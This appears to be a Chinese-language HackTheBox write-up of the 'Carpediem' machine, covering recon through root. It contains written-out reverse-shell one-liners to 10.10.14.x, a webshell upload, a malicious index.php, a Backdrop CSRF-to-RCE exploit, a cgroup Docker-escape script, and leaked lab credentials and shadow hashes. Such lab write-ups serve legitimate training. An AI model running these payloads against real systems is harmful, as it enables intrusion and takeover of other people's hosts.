基本信息

https://www.hackthebox.com/home/machines/profile/478
10.10.11.167

端口扫描

22和80:

$ nmap -sC -sV -Pn 10.10.11.167
Starting Nmap 7.93 ( https://nmap.org ) at 2022-09-27 13:12 CST
Nmap scan report for 10.10.11.167
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 962176f72dc5f04ee0a8dfb4d95e4526 (RSA)
|   256 b16de3fada10b97b9e57535c5bb76006 (ECDSA)
|_  256 6a1696d80529d590bf6b2a0932dc364f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Comming Soon
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.62 seconds

80

comming soon,得到的域名加hosts：

1	10.10.11.167 carpediem.htb

子域名扫描

常规字典扫描子域名，发现porpal：

1
2
3

gobuster vhost -u http://carpediem.htb -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

Found: portal.carpediem.htb (Status: 200) [Size: 31090]

加hosts：

1	10.10.11.167 carpediem.htb portal.carpediem.htb

portal.carpediem.htb

在线摩托商城：

目录扫描

目录扫描，在portal下发现admin：

gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://portal.carpediem.htb

/admin                (Status: 301) [Size: 328] [--> http://portal.carpediem.htb/admin/]
/assets               (Status: 301) [Size: 329] [--> http://portal.carpediem.htb/assets/]
/build                (Status: 301) [Size: 328] [--> http://portal.carpediem.htb/build/]
/classes              (Status: 301) [Size: 330] [--> http://portal.carpediem.htb/classes/]
/dist                 (Status: 301) [Size: 327] [--> http://portal.carpediem.htb/dist/]
/inc                  (Status: 301) [Size: 326] [--> http://portal.carpediem.htb/inc/]
/index.php            (Status: 200) [Size: 31090]
/libs                 (Status: 301) [Size: 327] [--> http://portal.carpediem.htb/libs/]
/plugins              (Status: 301) [Size: 330] [--> http://portal.carpediem.htb/plugins/]
/uploads              (Status: 301) [Size: 330] [--> http://portal.carpediem.htb/uploads/]

portal.carpediem.htb

任意注册登录,更新资料的请求中发现login_type参数：

尝试将其修改为1，我们是管理员,可以访问admin界面：

webshell

上传季度报告处，网页上显示上传功能还在开发，但可以得到upload接口直接调用，从而上传webshell：

reverse shell

一个容器内的www-data:

1	bash -c 'exec bash -i &>/dev/tcp/10.10.14.19/4444 <&1'

docker网段扫描

这部分考试网络问题比较差，参考wp云了

探测docker网段，发现其他容器：

Nmap scan report for 172.17.0.1
PORT   STATE  SERVICE
22/tcp open   ssh
80/tcp open   http

Nmap scan report for 172.17.0.2
PORT    STATE SERVICE
21/tcp  open  ftp
80/tcp  open  http
443/tcp open  https

Nmap scan report for 172.17.0.3
PORT      STATE SERVICE
27017/tcp open  unknown

Nmap scan report for 172.17.0.4
PORT      STATE SERVICE
3306/tcp  open  mysql
33060/tcp open  unknown

Nmap scan report for 172.17.0.5
PORT     STATE SERVICE
8118/tcp open  unknown

mongosh

27017和8118，转到本地访问：

# local
chisel server --reverse --port 8000

# target
www-data@3c371615b7aa:/dev/shm$ ./chisel client 10.10.14.19:8000 R:8118:172.17.0.5:8118 R:27017:172.17.0.3:27017 &

访问本地8000端口，发现是Trudesk，账号密码在mongo中，破解不出来，密码是bcrypt，生成一个后直接修改数据库：

❯ python3 password.py
$2b$10$zX4LTPwe7bEjhvQ.lbNgNuttsUcvcstL6SHHhZhIXouFObHXxYqey

mongosh mongodb://127.0.0.1:27017
test> use trudesk
trudesk> db.accounts.update( {"_id": ObjectId("623c8b20855cc5001a8ba13c")}, {$set: {"password": "$2b$10$zX4LTPwe7bEjhvQ.lbNgNuttsUcvcstL6SHHhZhIXouFObHXxYqey"}});

然后使用修改的密码登录Trudesk，其中一张ticket中得到zoiper相关信息

zoiper

我们知道域是 carpediem.htb，它告诉我们 9560 是用户

密码告诉我们现在是 2022 并且通过拨打 *62 我们可以收听凭据

我们从我们获得的数据开始，拨号时我们听凭据

获得的凭据是 hflaccus : AuRj4pxq9qPk 我们可以通过 ssh 连接

bcrypt.py

import bcrypt

password = "password"
salt = bcrypt.gensalt(rounds=10)
encoded = bcrypt.hashpw(password.encode(),salt)

print(encoded)

user flag

使用前面得到的hflaccus账户ssh连接,得到user flag：

backdrop

继续云，hflaccus用户tcpdump抓到一些https流量，使用对应私钥解密，得到jpardella账号密码：

tcpdump -i any port 443 -w captura

file /etc/ssl/certs/backdrop.carpediem.htb.key
/etc/ssl/certs/backdrop.carpediem.htb.key: PEM RSA private key

jpardella
tGPN6AmJDZwYWdhY

8002 Backdrop

这个账号密码可以登录8002端口的Backdrop：

1	sshpass -p AuRj4pxq9qPk ssh hflaccus@10.10.11.167 -L 8002:127.0.0.1:8002

V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS
https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS

利用对应漏洞，导入恶意模块，访问执行，得到Backdrop容器shell

信息

寻找有趣的文件，我们可以在 /opt 中看到一个脚本

www-data@90c7f522b842:/opt$ cat heartbeat.sh
#!/bin/bash
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34"  ]]; then
        exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
        #something went wrong.  restoring from backup.
        cp /root/index.php /var/www/html/backdrop/index.php
fi
www-data@90c7f522b842:/opt$

每隔一段时间，它就会更改 index.php 文件并调用它或类似的东西

所以我们直接修改对应php文件，等待触发执行，得到容器root：

❯ cat index.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");?>

www-data@90c7f522b842:~/html/backdrop$ rm -f index.php
www-data@90c7f522b842:~/html/backdrop$ wget http://10.10.14.10/index.php

docker逃逸 & root flag

之后就是逃逸，得到外部宿主机root：

Escaping Docker Privileged Containers | by Vickie Li | Better Programming
https://betterprogramming.pub/escaping-docker-privileged-containers-a7ae7d17f5a1

❯ cat script.sh
mkdir /dev/shm/privesc
mount -t cgroup -o rdma cgroup /dev/shm/privesc
mkdir /dev/shm/privesc/x
echo 1 > /dev/shm/privesc/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /dev/shm/privesc/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'" >> /cmd
chmod a+x /cmd
bash -c "echo \$\$ > /dev/shm/privesc/x/cgroup.procs"

root@90c7f522b842:~# unshare -UrmC bash
root@90c7f522b842:~# wget http://10.10.14.10/script.sh &>/dev/null
root@90c7f522b842:~# chmod +x script.sh
root@90c7f522b842:~# ./script.sh
root@90c7f522b842:~#

root_id_rsa

shadow

1
2

root:$6$y5QrvfE3csMMok1t$DvYGED3VsftC3ylIHA8yGVg2j2KiP7uooPn309LahXXPEZulnVWBwwKLorPdiW5snCgWEYN6F24b8LQALG1CD1:19081:0:99999:7:::
hflaccus:$6$Y3pKa50HWcGkr/KE$ZBG57pq5RIwDs9l75xJMz5Cv2SweVTFOcsv3WzRLC9c/QRX7wSgNT/XekUYExD30WTZiCHYhLg25mSTRgoZlT.:19083:0:99999:7:::

参考资料

V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS
https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS
Escaping Docker Privileged Containers | by Vickie Li | Better Programming
https://betterprogramming.pub/escaping-docker-privileged-containers-a7ae7d17f5a1
Carpediem - HTB [Discussion] | BreachForums
https://breached.to/Thread-Carpediem-HTB-Discussion
Writeup Carpediem HackTheBox
https://gatogamer1155.github.io/hackthebox/carpediem/

Carpediem - HackTheBox

2022-09-27

Carpediem - HackTheBox

基本信息

10.10.11.167

端口扫描

80

子域名扫描

portal.carpediem.htb

目录扫描

portal.carpediem.htb

webshell

reverse shell

docker网段扫描

mongosh

zoiper

bcrypt.py

user flag

backdrop

8002 Backdrop

信息

docker逃逸 & root flag

root_id_rsa

shadow

参考资料